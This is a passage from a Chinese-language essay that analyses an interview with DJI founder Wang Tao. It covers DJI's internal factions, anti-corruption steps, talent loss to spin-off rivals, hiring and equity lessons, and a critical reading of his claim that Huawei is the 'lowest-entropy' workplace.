念都没有。」</p></blockquote><p>如果制度给了人巨大的诱惑和漏洞，却要求人「一点都不动心」，这是反人性的。腐败的第一责任在制度设计者，不在动了心的员工。</p><p>但反腐再精准也是急救——要让山头不再长出来，靠的是把汪滔反复强调的管理满分标准建起来：「<strong>目标清晰、过程透明、结果可衡量、贡献可界定。</strong>」这四条几乎每一条都直接对应一种山头病理的解药：</p><table><thead><tr><th>管理标准</th><th>对应解决的山头病理</th></tr></thead><tbody><tr><td>目标清晰</td><td>没人能用「战略复杂」掩护私货</td></tr><tr><td>过程透明</td><td>关联交易没法藏，采购和研发的「默契」失效</td></tr><tr><td>结果可衡量</td><td>山头主的「苦劳」叙事失效，KPI 上不达标就是不达标</td></tr><tr><td>贡献可界定</td><td>早期英雄的「我当年功劳」不能再用来对抗当下问责</td></tr></tbody></table><p>这四条建好之后，山头不是被打掉的，是缺氧死掉的。这条比四步反腐更深一层——前者是急救，后者是把空气抽干。</p><p>最重的一句他放在这段管理复盘的最后：</p><blockquote><p>「幸好那几年友商偃旗息鼓，给了我们一个窗口期解决内部矛盾。如果有很强的对手，我们肯定垮掉了。」</p></blockquote><p>也就是说，大疆能活下来很大程度是运气。汪滔自己在另一处给出了量化：「<strong>所有只以产品力、只以所谓的创新扯的大旗，陷入平庸也许就是五年。</strong>」5 年红利期一过，对手抄上来，没补好管理课的公司直接归零。大疆刚好赶上这个窗口，又刚好遇上对手没动作。</p><p>「田园时代」的评价，从员工和老板两个视角看完全相反：</p><table><thead><tr><th>维度</th><th>员工的「爽」</th><th>老板的「危」</th></tr></thead><tbody><tr><td>资源使用</td><td>900 万拍南非广告，没人算账</td><td>全是看不见的成本黑洞</td></tr><tr><td>个人空间</td><td>想干啥干啥，自由如海盗</td><td>各自为政，公司没有底盘</td></tr><tr><td>短期回报</td><td>创新有名利、能成英雄</td><td>5 年红利期一过就崩</td></tr><tr><td>长期归宿</td><td>「我可以一直这样吗？」</td><td>「我们正在一起走向集体死亡。」</td></tr></tbody></table><p>精细化管理在员工眼里是衰落，在老板眼里是成年。这是同一件事的两面。汪滔说「再也不想回去了」，是因为他看到的是后一面。</p><p>这条规律放到个人身上一样成立——一个独立的人在精力分配上也会长出「小山头」：某个习惯特别强、某段关系特别深、某项业务特别熟，时间一长，它就反过来约束你，让你不敢动它。</p><table><thead><tr><th>你的「冲劲」习惯</th><th>它长出来的「山头」</th></tr></thead><tbody><tr><td>在某个平台积累了所有人脉</td><td>不敢离开这个平台</td></tr><tr><td>在某项技能上做到极致</td><td>拒绝学新东西，宁可吃存量</td></tr><tr><td>一段长期亲密关系</td><td>不敢谈分歧，怕戳破</td></tr><tr><td>一项稳定的副业现金流</td><td>不敢碰真正想做的事，怕断粮</td></tr></tbody></table><p>短期看每一个山头都让你「过得很猛」，长期看它们正在把你锁进一个<strong>自己也下不了手收的藩属系统</strong>。汪滔的解法对个体也成立——先让新增量进来（学新东西、认识新人、开第二条收入曲线），再重构流程（拆掉对单一山头的依赖），最后才是处理旧山头；直接砍旧山头会引起整个系统休克。无论组织还是个人，都是同一条规律。</p><h3 id="3-2-拓荒者与守成者：为什么早期骨干必然走到「阶段的尾声」">3.2 拓荒者与守成者：为什么早期骨干必然走到「阶段的尾声」</h3><p>汪滔在解释那些离开的早期研发骨干时，用了一句听上去很轻巧的话：</p><blockquote><p>「他们后来离开，我肯定有领导责任。但很多人走的时候，其实也走到了自己在大疆那个阶段的尾声。公司早期是极客式的自由创新；到了后期，组织需要更多围绕现有产品做深、做精细。一部分骨干未必愿意走这条路，他们更想一直做新的东西。公司到一定阶段，边界没有那么容易外扩了。」</p></blockquote><p>这句话表面是总结一段不愉快的离别，背后藏的是科技公司里最不可逆的一条组织演化规律：<strong>0 到 1 阶段需要的人才模型，和 1 到 100 阶段需要的人才模型，几乎是相反的两种生物</strong>。这个错位不是道德问题，也不是 CEO 刻薄不刻薄的问题，是结构性的断裂。</p><p>硅谷把这两类人分成「Pioneers（拓荒者）」和「Settlers（守成者）」：</p><table><thead><tr><th>维度</th><th>拓荒者（早期骨干）</th><th>守成者（后期需要）</th></tr></thead><tbody><tr><td>驱动力</td><td>颠覆和创造，从无到有</td><td>巩固和精进，从 1 到 100</td></tr><tr><td>享受的状态</td><td>满地未摘的果子，挥斥方遒</td><td>分工明确的协作，把现有动作做到极致</td></tr><tr><td>不能忍受的状态</td><td>流程审批、跨部门妥协、KPI 算账</td><td>一切重来、目标不清、ROI 不算</td></tr><tr><td>公司里的角色</td><td>攻城略地的将军</td><td>修城墙、查户口的市政官</td></tr></tbody></table><p>公司本身的演化曲线不可逆地从前者切到后者，骨干在每一个维度上都会感到被挤压：</p><table><thead><tr><th>演化维度</th><th>早期大疆</th><th>后期大疆</th><th>对早期骨干的影响</th></tr></thead><tbody><tr><td>业务导向</td><td>探索未知边界，找下一个爆点</td><td>巩固护城河，提升利润率</td><td>失去「开疆拓土」的特权与空间</td></tr><tr><td>个人价值</td><td>单兵能力 + 极客天赋直接推动业务</td><td>系统流程 + 跨部门协同推动</td><td>个人不可替代性被组织系统稀释</td></tr><tr><td>创新容错</td><td>ROI 不用算、目标不用定</td><td>严格 ROI、严格立项</td><td>新想法难以再被资源支持</td></tr><tr><td>公司的期待</td><td>你能做出酷炫的产品就是功臣</td><td>还要懂妥协、懂管理、懂带新人</td><td>拒绝转型的技术极客被边缘化</td></tr></tbody></table><p>更残酷的一层是「边界外扩」这件事本身。当大疆成为消费无人机的绝对霸主，<strong>核心业务自身就成了一头吸金兽 + 资源黑洞</strong>——这是经典的「创新者窘境」。一个早期骨干在公司内提案做 3D 打印或户外电源，从 CEO 视角看：这些新业务早期利润连核心业务的零头都比不上，且充满不确定性。理性的选择是收缩边界、砍掉边缘创新，把资源压回主航道。骨干会发现公司已经无法为他们的新野心买单了。</p><p>这时候摆在他们面前只有两条路：要么低头学反人性的管理 / 流程，要么出去自己再做一个 0 到 1。陶冶把大疆方法论搬进 3D 打印，王雷搬进储能，宇树搬进机器人——这不是巧合，是必然。<strong>他们都是在大疆内部的拓荒空间被关闭后，去外面找新的拓荒地</strong>。</p><p>这条规律放在任何曾经依赖天才的科技公司都成立。它解释了为什么所有「黄埔军校」式的公司都会经历同一段流失潮，也解释了为什么这种流失不可能靠涨工资或打感情牌留住——留得住的是人的肉体，留不住的是人对「做新东西」的本能渴望。汪滔把这件事说成「阶段的尾声」是准确的：尾声不是某个人的失败，是公司演化曲线和个人天赋曲线在同一时间走到了不再共振的那个点。</p><h3 id="3-3-模板化的代价：当你把交付沉淀成-SOP，叶片就会被吹走">3.3 模板化的代价：当你把交付沉淀成 SOP，叶片就会被吹走</h3><p>访谈里最痛的一句反思：</p><blockquote><p>「我的重大失误就在这里，我当年没有把『好好招人』当成 CEO 一定要做的事情。为什么字节没有走我们的弯路，他们始终没有向外停止招最优秀的人。」</p></blockquote><p>大疆早期被骗过、被偷过盗版飞控、创业第二年「除我和出纳全跑光」，导致它形成了一种「<strong>原生家庭创伤式的封闭</strong>」——更信内部长出来的人，反而被外面的资本一波波挖走骨干。结果就是大疆把交付沉淀成 SOP 之后，最大的输出对象不是公司客户，而是离职员工带出去的对手公司：</p><table><thead><tr><th>大疆系出去的对手</th><th>关键人</th><th>现在做的事</th></tr></thead><tbody><tr><td>拓竹（Bambu Lab）</td><td>陶冶（前飞行控制系统负责人）</td><td>用大疆思路重做 3D 打印，把工业级技术压成消费品</td></tr><tr><td>正浩（EcoFlow）</td><td>王雷（前电池研发）</td><td>全球户外移动储能头部</td></tr><tr><td>宇树科技（Unitree）</td><td>大疆背景团队</td><td>四足机器人头部</td></tr><tr><td>Insta360 / 影翎</td><td>部分前大疆工程师</td><td>全景相机 + 无人机正面对打</td></tr></tbody></table><p>这些公司几乎都在重复一个套路：<strong>把大疆当年「极客玩具→消费品」的方法论，搬到一个新的细分赛道上再走一遍</strong>。陶冶把它搬进 3D 打印，王雷把它搬进储能，宇树把它搬进机器人。</p><p>这是「<strong>模板化</strong>」这一支最真实的代价：你越成功地把交付变成可复制的 SOP，叶片就越容易被外面的风吹走。但只要卡位的根系（主体、品牌、供应链）足够厚，叶片掉下去也能再长——下一节就是汪滔怎么把这件事想通、把根系长出来的。</p><h3 id="3-4-招得比挖得快：从防守型到活水型的招聘观">3.4 招得比挖得快：从防守型到活水型的招聘观</h3><p>汪滔在反思人才管理时给出的复盘几乎是自嘲：</p><blockquote><p>「早几年我们被挖走了很多人，一开始确实很烦，思路还是『防、堵、对抗』，困在惯性里。后来我突然想明白了：我招得比挖得快不就行了——结果发现，<strong>我靠，早该这样了，招来的人都挺好</strong>。」</p></blockquote><p>这句「早该这样了」就是大疆 8 年管理课里最贵的一段学费。它的反面，是访谈里他直接对照字节的那一刀：</p><blockquote><p>「为什么字节没有走我们的弯路，他们始终没有向外停止招最优秀的人。」</p></blockquote><p>这条认知翻转的关键不在战术，在 mindset——从把员工当公司私有财产、把流失当背叛，切换到承认「<strong>人才是社会的</strong>」、流动是默认状态。两种 mindset 对应两种完全不同的组织形态：</p><table><thead><tr><th>维度</th><th>防守型（早年大疆）</th><th>活水型（顿悟之后）</th></tr></thead><tbody><tr><td>对离职的态度</td><td>视为背叛、如临大敌</td><td>视为自然的新陈代谢</td></tr><tr><td>管理重心</td><td>严防死守核心技术人员</td><td>建立强大的招聘 + 组织赋能系统</td></tr><tr><td>入口流量</td><td>不敢大胆招新人，怕招到不靠谱的</td><td>持续在全球范围网罗顶尖新人</td></tr><tr><td>对手挖走骨干</td><td>痛不欲生、痛骂背叛</td><td>把流动率当默认值，靠入口抵消出口</td></tr><tr><td>组织状态</td><td>圈子封闭，逐渐老龄化</td><td>活水不断，保持创业初期的锐气</td></tr></tbody></table><p>防守型 mindset 在大疆形成是有具体来源的，它不是性格问题，是被早年具体事件训练出来的「<strong>原生家庭创伤</strong>」：</p><table><thead><tr><th>早年事件</th><th>留下的应激反应</th></tr></thead><tbody><tr><td>第一批员工带着盗版飞控出去卖给下家</td><td>不敢轻易把核心技术教给新人</td></tr><tr><td>创业第二年除汪滔和出纳外全部跑光</td><td>默认外人不可信，只用体系里长出来的人</td></tr><tr><td>早期招过极不靠谱的高管</td><td>招聘上变得过度保守，宁缺毋滥到几乎不招</td></tr></tbody></table><p>这套创伤反应在公司小的时候有保护作用，但公司变大之后就变成了枷锁——入口流量被自己关小，出口流量却被资本和市场放大，结果是持续负向漂移。汪滔在 2025 年才把这件事真正反过来，标志是他开始重新自己面试，并在当年大规模招人；他还专门补了一条战术——「<strong>避免盯着一家公司『一锅端』</strong>」，理由是「己所不欲，勿施于人」。这条说明他在切换到活水 mindset 的同时，也在主动避免自己变成当年挖大疆人的那种对手。</p><p>具体动作上，大疆 2025 年开始做的两件事——<strong>内部孵化 + 对外投资离职员工</strong>——都是这套招聘观的延伸：与其和离职员工对抗，不如继续把他们纳入大疆能影响的生态里，让他们的成功反过来供应大疆的供应链 / 渠道 / 人才回流。</p><p>这条招聘观对个体也直接成立。一个独立的人如果总在防别人借走自己的方法 / 客户 / 经验，在认知上就停止增长了；只有把自己放在「<strong>新东西流入速度大于旧东西被复制走的速度</strong>」的状态里，才不会被任何一次具体的流失打垮。汪滔最值钱的觉悟是这条：<strong>真正的护城河不是封闭，是流动</strong>。</p><p>汪滔自己把这条觉悟再往上抽了一层——「<strong>锁住一个人的是两把锁：心态和能力；锁住一家公司是三把锁：心态、能力、机制</strong>」。他补了一句：「光修心态没用——还得找对的人、再配对机制，才能把流动从『零和博弈』变成更良性的关系。」这句话比前面那段招聘复盘更锋利。大多数人讲「开放心态」讲得很漂亮，但落地时只改了第一把锁——心态变了，能力没跟上（没招到真正能替代旧山头的人），机制也没跟上（没有对外孵化、对外投资、离职不撕破脸的制度），于是「开放」最后变成自我感动。汪滔 2025 年启动的两件事——内部孵化 + 对外投资离职员工——对应的就是第三把锁；重新自己面试、大规模招人，对应的是第二把锁。三把锁一起开才算数。对个体也是同一条：你想从「防别人借走」切到「让新东西流入」，光想通不够，还得真正去学新技能（能力）、建好自己的系统（机制）。</p><h3 id="3-5-选秀式叙事：把追风口包装成创新的话语机制">3.5 选秀式叙事：把追风口包装成创新的话语机制</h3><p>汪滔在谈那些以「创新」为名出走的员工时，补了一句很毒的话：</p><blockquote><p>「很多人混淆这些东西：你是真心看好一个方向，愿意深耕十年；还是风口来了，想发财、创业，顺便用公司的资源给自己铺路。<strong>就像选秀节目，谁会直接说『我想出名』？说出来就 low 了嘛，说的都是『想把快乐带给大家』</strong>。」</p></blockquote><p>这段话表面是吐槽，背后切的是社会和创投圈里最普遍的一种话语机制：<strong>赤裸裸的世俗欲望在公开场合是不体面的，所以人们会自动找一套高尚的话语给自己穿衣服</strong>。这种现象的存在不稀奇，稀奇的是它存在得有多普遍——普遍到说话的人自己都会被自己的包装感动，最后真的相信自己是为了梦想。</p><table><thead><tr><th>真实动机（藏在底下）</th><th>体面包装（说出口的）</th><th>出现场景</th></tr></thead><tbody><tr><td>我想红 / 我想搞钱</td><td>我想把快乐带给大家 / 我热爱音乐</td><td>选秀节目</td></tr><tr><td>我想趁这一波风口套现一笔</td><td>我有一个颠覆行业的 idea，但旧公司不重视创新</td><td>科技圈离职潮</td></tr><tr><td>我想用前东家的资源 / 渠道 / 客户给自己铺路</td><td>我是被旧体制压抑的极客英雄</td><td>创投圈媒体稿</td></tr><tr><td>我想拿融资买房</td><td>我看到了一个十年的大机会，要 all in</td><td>朋友圈宣言</td></tr></tbody></table><p>汪滔最不能忍的不是想发财本身——他自己也讲过「干好了能赚大钱」——而是**「又要当表子，又要立牌坊」**这种双重姿态：一边借公司的供应链 / 渠道 / 销售网络试探自己的生意，一边在对外发声时把前东家踩一脚，把自己塑造成被旧体制压抑的天才。两件事单独存在都不致命，叠加起来就是寄生 + 抹黑双重伤害。访谈里他点名说有一位早期员工负责电池，离职时跟他说工作太累要休息，结果是去搞了个电池厂；更早的一位员工，「拿着大疆的工资已经在做自己的生意了」——他是从公司销售那边听说的。</p><p>更深一层的语境是创投圈的「黑话」系统，一条话术几乎可以一一翻译：</p><table><thead><tr><th>听到的说法</th><th>真实可能在说的事</th></tr></thead><tbody><tr><td>「我想做改变行业的事」</td><td>我想做一笔能融到资的事</td></tr><tr><td>「公司体制太僵化，压抑了创新」</td><td>公司开始算 ROI 了，我的项目不再被无条件支持</td></tr><tr><td>「我要追求自己的产品哲学」</td><td>我想自己当老板而不是被管</td></tr><tr><td>「我看好这个方向至少十年」</td><td>这个赛道现在最热，估值最高</td></tr></tbody></table><p>汪滔在访谈里多次回到「不自欺 / 不自我包装 / 不自我感动」这条标准——他自己点名说人最宝贵的品质就是「<strong>不自欺</strong>」。这条不是道德要求，是认知工具：<strong>一个人在说一件事时心里同时装着两套不同的话语（私下一套、公开一套），他在认知上就一定在偏向那套对自己最有利的版本</strong>——而那套通常是错的。一个人对外的叙事和对内的真实理由差距拉得越大，离自己真实的判断也就越远。</p><h3 id="3-6-让组织还能继续生长的两条硬约束">3.6 让组织还能继续生长的两条硬约束</h3><p>汪滔在补完管理课之后，把组织能不能持续生长归结到两件事：股权要分对，环境要求真。两件事都有反直觉的细节。</p><p>第一件是股权。访谈里最值得抄下来的一句：</p><blockquote><p>「<strong>股份不能不分，也不能乱分，要有本事把它分对。不然它也换不来立场——这就是人性的挑战。</strong>」</p></blockquote><p>汪滔自己经历过最痛的样本：早期一个员工技术好分 2%，另一个差一点分 0.5%。结果拿 2% 的人反而觉得「<strong>伤害了我的感情</strong>」，最后两人都被惠州那个钻床老板挖走。</p><table><thead><tr><th>分法</th><th>结果</th><th>为什么换不来立场</th></tr></thead><tbody><tr><td>不分</td><td>员工纯打工心态，遇到挖角直接走</td><td>没有利益绑定</td></tr><tr><td>乱分</td><td>早期功臣手握大量股份 + 实权，包庇下属、对抗公司</td><td>股份变成了对抗的筹码</td></tr><tr><td>分对</td><td>贡献和回报客观挂钩</td><td>客观规则替代了情感依赖</td></tr></tbody></table><p>更狠的判断：钱买不到忠诚，只能买交易。要换「立场」，需要的不是金额，而是一套能动态衡量贡献的客观规则系统——这条几乎是所有合伙散伙故事的反向印证。</p><p>第二件是环境。汪滔讲完「钱给到位之后」，紧接着点了三毒：</p><blockquote><p>「少 politics、别外行管内行、管理者别自嗨。」</p></blockquote><p>每一毒都是对顶尖人才爽点的精准打击。顶尖人才的爽点是「解难题 + 创造好东西」，三毒每一条都把这个爽点废掉：</p><table><thead><tr><th>毒</th><th>典型场景</th><th>对人才的杀伤</th></tr></thead><tbody><tr><td>Politics</td><td>讨论方案不看 ROI，先想「出事谁背锅、功劳算谁的」</td><td>智商被消耗在防暗箭、猜站队</td></tr><tr><td>外行管内行</td><td>不懂技术的高管对工程师说「这功能竞品都有，你今晚加班搞」</td><td>专业尊严被压制，被迫产出「工业垃圾」</td></tr><tr><td>管理者自嗨</td><td>老板听完一节课回来要「全链路重构」、强推时报 / 周报 / PPT</td><td>员工成了配合演戏的群众演员</td></tr></tbody></table><p>这条对个体也直接成立。把外部组织换成自己一个人，三毒一样有效——沉迷造词、强行结构化、给自己设置无意义的指标，都是个体版的「管理者自嗨」。</p><h2 id="4-过滤：哪些话不能全信">4. 过滤：哪些话不能全信</h2><p>前两部分复原了汪滔的机制，这一部分反过来——<strong>把他说的话逐条筛一遍，哪些是 CEO 视角下成立、但换到打工人视角就失效的</strong>。三节分别拆他最容易被误读的三段话：「华为是熵值最低的地方」（4.1，最长、最值得拆）、「真管理者比 AI 天才更稀缺」（4.2）、以及最末段把公司治理推到宇宙造物主的那个弱类比（4.3）。读这三节时要带着一个自检问题：<strong>这句话是在讲组织怎么活，还是在替我规划人生？</strong> 前者可以抄，后者要小心。</p><h3 id="4-1-「华为是熵值最低的地方」：三分真话、七分话术">4.1 「华为是熵值最低的地方」：三分真话、七分话术</h3><p>汪滔在访谈最后抛出一段对照华为的判断，听上去像物理定律：</p><blockquote><p>「我观察到一个有意思的现象：很少有互联网公司的人去华为，但华为的人能去几乎所有地方——所以某种意义上，华为是熵值最低的地方。反过来，你什么时候看到一个公司的员工『再也去不了别的地方』，说明这个公司熵值最高，要么工资高、地位高、feel good，你一旦到了那个地方，就没办法往回走。大疆的人去不了华为，但华为的人能来这儿，你就知道谁厉害了。厉害公司出来的人，能去所有地方。」</p></blockquote><p>物理词汇容易把人唬住、跟着进入他的叙事。但把这段话拆开看，真假掺杂大概三七开——三分是真判断，七分是 CEO 视角的自我合理化。</p><h4 id="4-1-1-三分真：肯把「平台溢价」和「个人能力」分开讲，已经比主流职场叙事诚实">4.1.1 三分真：肯把「平台溢价」和「个人能力」分开讲，已经比主流职场叙事诚实</h4><p>值得收下的只有起点这一句事实——你账户里每月那笔薪酬，有相当一部分是公司平台分给你的、不是你自己挣的；你一旦离开这个平台，市场不会再按这笔工资给你重新定价。这件事在主流职场叙事里几乎没人愿意讲，因为它戳穿了所有「我就是这个价」的虚荣。汪滔肯把它讲出口，背后那把尺子是有用的：</p><table><thead><tr><th>自检问题</th><th>健康的征兆</th><th>危险的征兆</th></tr></thead><tbody><tr><td>我现在的薪酬里，平台溢价占多少？</td><td>拆得出来；离职市场价持平甚至更高</td><td>答不上来；离职即降薪 50%+</td></tr><tr><td>我吃的压力是真问题还是内耗？</td><td>来自真客户、真竞品、真技术</td><td>来自向上汇报、跨部门扯皮、老板情绪</td></tr><tr><td>用健康换来的能力，市场认不认？</td><td>出来直接被同行抢着要</td><td>一离开当前公司就贬值</td></tr></tbody></table><p>这把尺子和「熵」这个词没什么关系，剥掉物理外衣它依然成立。值得留下来。</p><h4 id="4-1-2-七分虚：从这里再往下推，他每一步都在偷换概念">4.1.2 七分虚：从这里再往下推，他每一步都在偷换概念</h4><p>他从这把尺子推到「华为是熵值最低的地方」，至少有四步站不住。</p><p><strong>第一步：把幸存者偏差包装成系统优势。</strong> 你在职场上能观察到的「华为出来的人」，全部是熬过末位淘汰、35 岁危机、健康透支之后的幸存者；那些没熬下来、消失在样本之外的人，才是这套机制真正的成本。把幸存者的可迁移能力算成华为机制的产出，等于默认把伤亡率视为零——本质上是把成本外部化给劳动者之后再用结果反过来证明机制优越。一套真正「让员工低熵」的机制，应该让 90% 的员工都带着可迁移能力毕业；只产出 10% 幸存者却被讲成系统典范，这是话术，不是事实。</p><p><strong>第二步：假装华为的薪酬里没有平台溢价。</strong> 华为薪酬里其实躺着巨量平台溢价——运营商绑定、5G 专利收费、国家战略红利、TD-LTE 标准锁定。一个普通流程岗的华为员工离职后能不能拿到同样的钱，要看他做的是核心技术还是流程节点，整体上并不比互联网大厂干净。汪滔把华为整个简化成「低熵典范」，是因为它符合他的叙事需要，不是因为数据支持。他要么没看到，要么没讲。</p><p><strong>第三步：把工程上耦合的两件事讲成两条独立变量。</strong> 他主张「清除无意义内耗 + 施加有意义高压」可以分开操作——这只是 CEO 的心愿。真实组织里，目标越陡、考核越严、淘汰越狠，办公室政治、推卸责任、向上管理的动机就越强；他自己花 8 年才把管理从 30 分抬到 65 分这件事，恰恰说明这两件事在工程上是高度耦合的，根本拧不开。把它讲成两个可以独立调节的变量，是因为这套叙事必须自洽，不是因为现实真的能分开。</p><p><strong>第四步——也是最隐蔽的一步：用「熵」这个物理词偷换劳资关系的语言。</strong> 物理学里熵增是中性的、没有主体的；汪滔搬进职场之后，「熵增」自动等同于员工的懒惰自利，「熵减」自动等同于管理者的清醒勤奋。员工要求合理工时是熵增，不愿被强制轮岗也是熵增。旧版资本家说「员工懒」会立刻被反驳，换成「员工在制造熵增」就像在念物理定律，反驳门槛被悄悄抬高。汪滔本人未必恶意使用这套语言，但它天然站在管理者一侧，把劳资矛盾翻译成「成熟者对抗人性」——员工的算盘根本进不来。</p><h4 id="4-1-3-真正决定真假的那条线：股权">4.1.3 真正决定真假的那条线：股权</h4><p>判断这套话术里 CEO 的视角和员工的视角到底是不是同一回事，其实只要看一个硬指标——<strong>这家公司是否在用股权而非奖金分走战斗力增值的那部分收益</strong>。汪滔自己讲过「股份不能不分，也不能乱分，要有本事把它分对」，但能进入股权分配的永远是极少数。绝大多数承担 80% 高压、产出 80% 战斗力的员工，只能拿到「多 1–6 个月年终奖」这种线性奖励。</p><p>这恰恰说明高压淬炼对员工是一笔<strong>单向交易</strong>——你在这家公司透支身体换来的能力，市场会认；前雇主既不会为它继续付费，也不会因为你曾经透支过而对你网开一面。CEO 的资产是公司估值上涨直接进入个人净资产、无封顶；员工的资产是固定薪酬加有限年终奖，外加自己身上残余的可迁移能力。同一句「能去所有地方」在两边的账本上根本不是同一笔交易——在 CEO 的账本上是褒奖，在员工的账本上只是「去哪里都得继续被高压淬炼」的另一种说法。</p><h4 id="4-1-4-汪滔自己在另一处也拆穿过华为">4.1.4 汪滔自己在另一处也拆穿过华为</h4><p>真正值得玩味的是，汪滔在访谈里不止一次讲华为，两处讲的不是同一件事。在讨论招聘 mindset 的那段，他把华为放在「熵值最低」的神坛上；但在讲「Something is wrong」那段内心复盘时，他给出了完全相反的评价：</p><blockquote><p>「华为有中国公司最好的金字塔底座。每一层都很强，像一艘无敌战舰，无坚不摧，它的最高纲领是大家努力为成功奋斗。但慢慢往上走，当你发现<strong>塔顶没有『更高的意义』，只有更复杂的平衡和分配，就会感到迷茫和虚无</strong>。」</p></blockquote><p>这两段话合起来读，才是汪滔对华为的完整判断。第一段是从 CEO 视角看组织的执行效率——这一面华为确实是顶级样本；第二段是从一个活生生的人的视角看，在这种组织里待到最后会遇到什么——这一面华为的塔顶是空的。他自己讲完「华为是熵值最低的地方」之后，又亲手给这个评价加了一个后缀：<strong>高效但不甜</strong>。</p><p>这个「不甜」，恰恰对应他自己在 2016 年陷进去的那个「Something is wrong」——一个大而不甜的苹果。也就是说，他拒绝把大疆做成「无敌战舰」，不是因为他做不到，是因为他已经看过这条路的终点长什么样，不想再在那条路上走下去。他给自己选的目标是「乌托邦」——技术是有温度的，人是自由的，组织是有灵魂的——不是「战舰」。</p><p>所以前面 4.1.2 节说汪滔「深陷管理者体感错觉」只说对了一半。他在讨论招聘时确实会掉进那套话术，但他在讨论人生意义时已经跳出来了。真正的问题不是他看不清，是他在不同情境下<strong>同时持有两套互相拆台的判断</strong>，而没有把它们对齐。这件事本身就是「不自欺」没做彻底的一个样本——连汪滔自己也没能把两套话语统一起来。</p><h4 id="4-1-5-落点：CEO-的真理不是打工人的真理">4.1.5 落点：CEO 的真理不是打工人的真理</h4><p>汪滔在很诚实地讲「一家硬件公司怎么活下来」的真理，但他无意识地把这套以「组织存活」为目标函数的真理，讲成了对所有打工人也成立的「人生进步真理」。前者是 8 年补管理课熬出来的真判断，任何想做组织的人都该反复读；后者是 CEO 替劳动者越权做主，普通员工照着抄，赔的是自己的健康和不可逆的时间。</p><p>所以最后落到判断框架里，「<strong>平台溢价 vs 个人能力</strong>」那把尺子留下；「<strong>华为是熵值最低的地方</strong>」这套结论丢掉——前者帮你看清自己的资产结构，后者只会让你在替老板省钱的同时还感动自己。</p><h3 id="4-2-为什么真管理者比-AI-天才更稀缺：被低估的-10-分难度">4.2 为什么真管理者比 AI 天才更稀缺：被低估的 10 分难度</h3><p>汪滔在访谈里抛出了一段几乎是反职场常识的判断：</p><blockquote><p>「比如现在 AI 大模型领域涌现许多年轻才俊，他们在这个年龄就能有很出众的技能，但若要谈及管理上的觉悟和水平，<strong>没有到 40 多岁的阅历积累，可能就难以真正入门</strong>。这种能力同样需要极高的智慧，而且它更难、更珍贵。仅仅依靠对技术的 passion 或对成功的渴望，或许能短时间聚拢一批人，但难以形成持久的凝聚力。」</p></blockquote><p>这条判断在当下职场语境里几乎是孤立的——主流认知里，「管理岗」是个用来养老、摸鱼、随时会被优化的水货位置；中层是裁员潮里第一批走的人，跳槽也最难。但汪滔说的不是这种「管理」。他说的是另一类极少数的「<strong>真管理者</strong>」，和职场里被裁掉的那批「<strong>伪管理者</strong>」根本不是同一种生物：</p><table><thead><tr><th>维度</th><th>伪管理者（被裁中层）</th><th>真管理者（汪滔眼中的稀缺品）</th></tr></thead><tbody><tr><td>动机</td><td>体力下降、找避风港；权力的奖赏</td><td>挽救系统崩溃，对抗人性贪婪</td></tr><tr><td>手段</td><td>靠职级发号施令，向上传话向下压任务</td><td>洞悉人性灰度，制定规则，平衡利益分配</td></tr><tr><td>价值</td><td>流程节点，不产出实质增量</td><td>让一群天才不内耗，产生「乘数效应」</td></tr><tr><td>面对贪腐</td><td>睁一只眼闭一只眼，怕得罪人</td><td>先稳阵脚招替补，剥夺权力，再精准清理</td></tr><tr><td>对自己的态度</td><td>贪恋 title 和权力，怕被年轻人取代</td><td>追求「无我」，搭建离开自己也能转的体系</td></tr></tbody></table><p>这两类人的根本区别在「智商」和「智慧」之间：</p><table><thead><tr><th>能力</th><th>智商（Intelligence）</th><th>智慧（Wisdom）</th></tr></thead><tbody><tr><td>面对的对象</td><td>客观规律（代码、数学、物理）</td><td>非理性人性（贪嗔痴慢疑）</td></tr><tr><td>习得方式</td><td>闭门造车 + 灵感 + 高强度训练</td><td>经历背叛、委屈、利益撕扯、岁月喂养</td></tr><tr><td>最优习得年龄</td><td>20 多岁就可以巅峰</td><td>40 多岁才刚入门</td></tr><tr><td>是否能速成</td><td>能（看书 / 训练 / 高密度刷题）</td><td>不能（必须真摔过几跤）</td></tr></tbody></table><p>汪滔在访谈里举的几个例子是 wisdom 的真实形态：技术好的员工因为分到 2% 而觉得「<strong>伤害了我的感情</strong>」；研发关键嫌疑人的上级第一反应是「<strong>你不能冤枉人</strong>」；反腐和架构调整一起搞会触动整个研发层。这些都不是靠智商能解决的题——解法只能靠在管理一线吃过亏的人凭体感找。</p><p>那这种真管理者怎么找？汪滔给出的画像有四个条件，但其中一个被他自己亲手否定了：</p><table><thead><tr><th>条件</th><th>必要性</th><th>说明</th></tr></thead><tbody><tr><td>40 岁左右阅历</td><td>✓</td><td>没有这个年龄段的真摔，做不了真管理</td></tr><tr><td>内行 / 懂业务底层</td><td>✓</td><td>否则在极客团队面前秒丧失威信</td></tr><tr><td>人品 / 不自欺 / 求真</td><td>✓</td><td>否则会迅速腐化成新的山头</td></tr><tr><td>私人关系 / 之前就认识</td><td>✗</td><td>这恰恰是大疆早年最大的失误，要主动打破</td></tr></tbody></table><p>最后一项最反直觉。直觉上「找熟人更靠谱」，但汪滔的教训正好相反——大疆早年因为被骗过而过度依赖内部熟人，结果是组织失去新陈代谢能力，遇到管理困局时内部老熟人因为利益盘根错节根本没法痛下杀手。<strong>真管理者不能靠私人关系筛选，要靠系统筛选</strong>——目标清晰、过程透明、结果可衡量、贡献可界定的系统建好了，新来的、和你毫无交情的 40 岁高管也能在三个月内被验证出价值。这就是他「招得比挖得快」之所以敢成立的底气。</p><p>理解了这一层，就能看清汪滔为什么把「管理」放到比「技术创新」更高的位置。AI 时代涌现的 20 岁天才再多，他们能解决的都是「智商题」；而把这群智商题大师组织起来不内斗、不贪腐、不出走、持续产出颠覆性产品的「智慧题」，这个星球上能解的人极少。<strong>大疆真正的护城河不再是任何一项技术，而是它花 8 年打磨出的、能筛选并容纳这批稀缺真管理者的组织底座</strong>。这条规律对任何想从「单兵」走向「带团队」的个体也成立——技能可以速成，智慧只能熬出来。</p><h3 id="4-3-熵减触发者：从公司-CEO-推到宇宙造物主的弱类比">4.3 熵减触发者：从公司 CEO 推到宇宙造物主的弱类比</h3><p>访谈最末汪滔抛出了一段超出管理学范围的推断：</p><blockquote><p>「所有人造系统要对抗熵增，都需要一个『熵减触发者』——公司有 